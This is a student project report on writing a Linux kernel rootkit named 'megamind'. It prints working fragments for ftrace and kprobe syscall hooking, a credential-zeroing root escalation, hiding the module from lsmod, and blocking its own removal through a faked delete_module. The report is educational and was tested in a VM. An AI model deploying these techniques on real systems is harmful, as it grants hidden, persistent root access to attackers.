Building a Rootkit: Megamind

Felix Tanaka (z5478466)

November 4, 2024

1 Project Information

1.1 Introduction

Rootkits are a type of malicious software which can be incredibly powerful and destructive due to the nature of their deep access into a system. They are characterised by giving the attacker prolonged "root" access (hence the name) and living at the most privileged level of security. Rootkits first came about in the 1990s targeting UNIX systems, but as time went on they evolved to target a range of systems including Windows and MacOS.

In this project, I look at writing an example kernel mode rootkit to run on a linux system. As I explore the construction and use of the rootkit, I will try to identify key security elements that contribute both to the development of rootkits, and the defences in place to prevent against these kinds of attacks.

1.2 Project Overview and Deliverables

This project will aim to encompass the security concepts that come along with a rootkit that has already been installed on a system. The initial installation of a rootkit can be through essentially any attack that gains root privilege on a system. For example, through a privilege escalation exploit, or through social engineering. Mostly, I will not focus on the "real world" installation and assume that it is somehow already installed on the target system.

Through building the rootkit, I will explore:

- How basic kernel modules work and what they have access to,
- How syscalls can be hooked and different ways to hook them,
- The capabilities of rootkits including privilege escalation,
- Hiding kernel modules from the userspace.

I aim to have a functional rootkit which demonstrates all the above points and a report detailing how it all works by the end of this project.

1.3 Ethical and Safety Considerations

Throughout this report, I discuss some techniques which are potentially be damaging. For convenience, many of the concepts are discussed in the context that they would be used in. In no way, however, do I mean to encourage anyone to use information here in a harmful way. Everything discussed is for the purpose of education and for a better understanding of threats.

All the testing for this project was done locally on a Linux distribution hosted on a virtual machine by VirtualBox. This prevented any possible damage outside of the testing environment.

2 Starting Out

2.1 Kernel Modules

Computer operating systems usually provide different levels of access to resources as a security measure. In the Linux system being used, only two of these levels are used: ring 0 and ring 3. Ring 0 is where the kernel operates and has essentially unlimited access to the computer's functionality. This is an example of what Richard Buckland would call "m&m security", where once past the barrier from ring 3 to ring 0, there is unlimited access to anything and no extra security (in this simplified example).

Kernel modules such as device drivers are written to be inserted into the kernel to run with ring 0 privilege. What I will be doing is writing a kernel module that will run maliciously with kernel level privileges. This means a few things, one of which is that there is no access to libraries from the userspace (for example, the c standard library), only kernel libraries.

2.2 Project Structure

When writing kernel modules, it is important to consider that the module is linked against the whole kernel. One effect of this is that the namespace is shared. In order to avoid this hassle and keep everything simple, the project will be contained within one file and all functions and variables will be declared static. Of course, the project needs a name. I will name the rootkit megamind, after everyone's favourite blue-headed character.

2.2.1 Makefile

The project also need a makefile. This is what will be used for this project.

```
obj-m += megamind.o
PWD := $(CURDIR)

all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
```

2.2.2 Kernel Module Basic Structure

First, I need to write the skeleton of a kernel module that can be inserted into the kernel.

```
// megamind.c

#include <linux/init.h>
#include <linux/module.h>
#include <linux/printk.h>

static int __init megamind_init(void) {
pr_info("megamind has been loaded");
return 0;
}

static void __exit megamind_exit(void) {
pr_info("megamind has been unloaded");
```

```
}

module_init(megamind_init);
module_exit(megamind_exit);
```

The `<linux/init.h>` include is required for `__init` and `__exit`, the `<linux/printk.h>` include is required for `pr_info()`, and the `<linux/module.h>` include is required for all modules.

`pr_info()` is a macro which is similar to `printf()`, but it sends the string to the kernel buffer of log level 6. It is equivalent to `printk(KERN_INFO "megamind says hello")`. The contents of this output can be viewed with `$ dmesg`.

The init function will, as one might guess, run once when the module is loaded. As expected, the exit function will run once as the module is unloaded.

3 Hooking Syscalls

3.1 Syscalls

System calls are the main ways that user applications request services from the kernel. To view the syscalls a function performs, `strace` can be used. For example, here is some of the output from `$ strace ls`

```
openat(AT_FDCWD, ".", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 3
fstat(3, {st_mode=S_IFDIR|0700, st_size=4096, ...}) = 0
getdents64(3, 0x5fd17686c6f0 /* 41 entries */, 32768) = 1296
getdents64(3, 0x5fd17686c6f0 /* 0 entries */, 32768) = 0
close(3)
```

`getdents64()` is the syscall requesting data from the directory. Syscalls such as these can be exploited to attack the system using the rootkit. They will be the best way at altering the behaviour of the system.

3.2 Hooking Methods

Hooking syscalls involves intercepting them and usually performing a sort of man-in-the-middle attack. There are various ways of doing this, including but not limited to:

Syscall table hijacking
The linux kernel keeps a table that maps syscall numbers to the location of their handler functions. This method writes to that table and changes the mapping to point to one's own malicious functions.

Ftrace
Ftrace is designed to work similarly to `strace`, but in a more powerful way. Ftrace attaches callbacks to the beginning of functions to trace the flow of the kernel. This, however, can be used to attack arbitrary callbacks to the beginning of functions. As one might imagine, this makes it very useful for us, but a clear security flaw.

VFS hooking
VFS (virtual file system) hooking works by intercepting the function pointers in the VFS layer. The hooking occurs when an program makes a file operation request.

Kprobes
Kernel probes, or kprobes, work in a very similar manner to ftrace. I discuss one use for them later, but they can also be used to dynamically attach extra functionality to kernel routines.

I decided to use ftrace for hooking syscalls, but this list shows how many different ways there are to attack system calls.

3.3 Kallsyms Lookup Issue

In order to hook a syscall, I need the address of the syscall to be hooked. These can be found by looking in the file `/proc/kallsyms`. For example, `$ sudo grep __x64_sys_kill /proc/kallsyms` shows us `ffffffff940f3660 T __x64_sys_kill`. What I need, though, is for the program to access the addresses directly. Hardcoding them would not work for obvious reasons. On older kernels, there was access to a function, `kallsyms_lookup_name()` which would do exactly what would be needed. The problem, however, is that it is not exported by default anymore in kernel versions greater than 5.7. This removal is largely due to developers writing similar code to what I am writing, but using it for malicious purposes.

This was one of, if not the most, time consuming problem encountered in this project. After researching solutions, I found two possibilities. The first option involved brute forcing addresses and checking what they resolved to. The second, and more elegant solution uses a kernel probe to insert a breakpoint in the function to be hooked and then return the address to itself (which will be to the beginning of the function needing to be hooked).

Brute force method
Fortunately, there are many kernel functions which handle symbol names. A notable one, `sprint_symbol()`, returns the name of a function given its address. The idea is to iterate over addresses starting from the base address until `sprint_symbol()` matches the function being looked for.

Kernel probes method
Kernel probes, known as kprobes, are used to dynamically break into kernel routines usually for debugging purposes. I create a kprobe to insert a breakpoint at the start of the function I want to hook. According to the kernel probe doccumentation, 'with the introduction of the "symbol_name" field to struct kprobe, the probepoint address resolution will now be taken care of by the kernel.' This means I can set `kp.symbol_name = "symbol_name";` and the kprobe will register itself at the function with `register_kprobe(&kp)`. I then can access the `.addr` field of the struct to get the address.

I decided to go with kprobes, because it seemed like a far nicer solution. Below is the function to lookup the address.

```
static unsigned long find_address(const char *name) {
    struct kprobe kp = {
        .symbol_name = name
    };
    unsigned long address;

    if (register_kprobe(&kp) < 0) {
        return 0;
    }

    address = (unsigned long) kp.addr;
    unregister_kprobe(&kp);
    return address;
}
```

3.4 Ftrace Hook Implementation

For the hook implementation, some of this code was heavily inspired by sources cited at the end of the paper. I spent a large amount of time reading and trying to understand this section of code, but from my limited understanding I couldn't do much to write it differently.

Most of this code is to prevent recursive loops. The main part that actually registers the hook is `register_ftrace_function()`. Because this is not necessarily directly related to security, I did not spend as much time on this compared to other components of this project. The source of this code and idea of how to get around recursion is cited at the end of the report.

```
static int install_hook(struct ftrace_hook *hook) {
    int err;
    err = resolve_hook_address(hook);
    if (err) {
        return err;
    }

    hook->ops.func = ftrace_thunk;
    hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS | FTRACE_OPS_FL_RECURSION | FTRACE_OPS_FL_IPMODIFY;

    err = ftrace_set_filter_ip(&hook->ops, hook->address, 0, 0);
    if (err) {
        return err;
    }

    err = register_ftrace_function(&hook->ops);
    if (err) {
        return err;
    }

    return 0;
}
```

3.5 Hooking Kill

After researching different functions, I found that it is common to hook the `sys_kill` syscall for signals that are not commonly used. This will be very useful because they can then be assigned different unused signals to different functions for the rootkit.

```
static asmlinkage int (*orig_kill)(const struct pt_regs *);

static asmlinkage int kill_hook(const struct pt_regs *regs) {
int sig = regs->si;

if (sig == 64) {
// do stuff
return 0;
}

if (sig == 63) {
// do stuff
return 0;
}

// etc...
```

```
return orig_kill(regs);
}
```

The `asmlinkage` macro tells the compiler to pass all function arguments on the stack. Syscalls often pass arguments through registers instead of on the stack, so sometimes it is important to use `asmlinkage`. In this case, much of the research showed examples using `asmlinkage`. I tested with and without and there did not seem to be much difference. The final rootkit used the `asmlinkage` macro.

The `pt_regs` struct stores all the information about the syscall that I need. In this case of `sys_kill`, I only care about the signal, not what process or anything else. This is stored in the `.si` field.

If the signal is one that should be considered, arbitrary code can be executed and the 0 can be returned. This will mean that the `sys_kill` syscall is never actually run. For signals otherwise, the original syscall can just be run.

3.6 Hooking Mkdir

I also attempted to hook mkdir just for fun. The hook isn't much different from kill and just outputs information to the debug buffer, so I won't discuss it much.

4 Adding Functionality

It's time to give the rootkit some real functionality! I will use the hooked `sys_kill` discussed before to implement the following functions.

4.1 Privilege Escalation

I will implement a function within the program to change a user to root. The linux kernel documentation describes a process to change a processes privileges. There is a struct, `cred`, which holds the credentials of the current process. Luckily, there are two simple functions to retrieve and set this struct, `prepare_creds()` and `commit_creds()`. As expected, to set the process to root, fields must be set to 0.

```
static void set_root(void) {
    struct cred *root;
    root = prepare_creds();

    if (root == NULL) {
        return;
    }

    root->uid.val = 0;
    root->gid.val = 0;
    root->euid.val = 0;
    root->egid.val = 0;
    root->suid.val = 0;
    root->sgid.val = 0;
    root->fsuid.val = 0;
    root->fsgid.val = 0;

    commit_creds(root);
}
```

4.2 Hiding from the Userspace

Another key piece of functionality for the rootkit is to hide itself. At its current state, it can easily be seen in many ways, for example, `lsmod | grep megamind`. Hiding it, though, is surprisingly easy. The kernel keeps track of its modules with a linked list containing pointers to `module` structs. Thankfully, the linux kernel provides us with `list_del()` and `list_add()` functions so I don't have to go back to COMP1511!

```
static struct list_head *prev_module;

static void hide_megamind(void) {
    prev_module = THIS_MODULE->list.prev;
    list_del(&THIS_MODULE->list);
}

static void show_megamind(void) {
    list_add(&THIS_MODULE->list, prev_module);
}
```

This is all that is needed to hide and show the rootkit.

4.3 Bonus Functionality

So far, I have built functionality based on things that I have found on the internet. My next idea that I want to implement is to disallow the rootkit from being removed, which I couldn't find any information on. After loading the rootkit, I ran `$ strace rmmod megamind` and found the following system call.

```
delete_module("megamind", O_NONBLOCK)   = 0
```

So I added the following to my source code. The key bit here is that this hook is returning 0 and not running the original function. So now, if `$ sudo rmmod megamind` is run, it will hide itself, but not remove itself.

```
static asmlinkage int (*orig_delmod)(const struct pt_regs *);

static asmlinkage int delmod_hook(const struct pt_regs *regs) {
    pr_info("megamind: unloaded (fake)\n");
    hide_megamind();
    pr_info("megamind: hidden\n");

    return 0;
    /*return orig_delmod(regs);*/
}

static struct ftrace_hook delete_module_hook = HOOK(
        "__x64_sys_delete_module", delmod_hook, &orig_delmod);
```

5 Conclusion

Overall, all the goals set out at the start of the report have been achieved. It is also important to mention, that there are many things that would be changed about this rootkit if a malicious actor was to try to use it. For example, outputting debugging information would give away its existence. This is because this

rootkit is completely for educational purposes. As mentioned before, none of the information here should be used for unethical purposes. A much more in depth reflection of the task can be found in the reflection PDF.

6 References

ilammy (2018). ftrace-hook/ftrace$_{\text{hook.c}}$ at master · ilammy/ftrace-hook. [online] GitHub. Available at: `https://github.com/ilammy/ftrace-hook/blob/master/ftrace_hook.c` [Accessed 4 Nov. 2024].

Keniston, J., Panchamukhi, P. and Hiramatsu, M. (2024). Kernel Probes (Kprobes) — The Linux Kernel documentation. [online] Kernel.org. Available at: `https://www.kernel.org/doc/html/latest/trace/kprobes.html` [Accessed 4 Nov. 2024].

Phillips, H. (2020). Linux Rootkits Part 1: Introduction and Workflow :: TheXcellerator. [online] Linux Rootkits Part 1: Introduction and Workflow. Available at: `https://xcellerator.github.io/posts/linux_rootkits_01/` [Accessed 4 Nov. 2024].

Salzman, P., Burian, M., Pomerantz, O., Mottram, B. and Huang, J. (2024). The Linux Kernel Module Programming Guide. [online] sysprog21.github.io. Available at: `https://sysprog21.github.io/lkmpg/` [Accessed 4 Nov. 2024].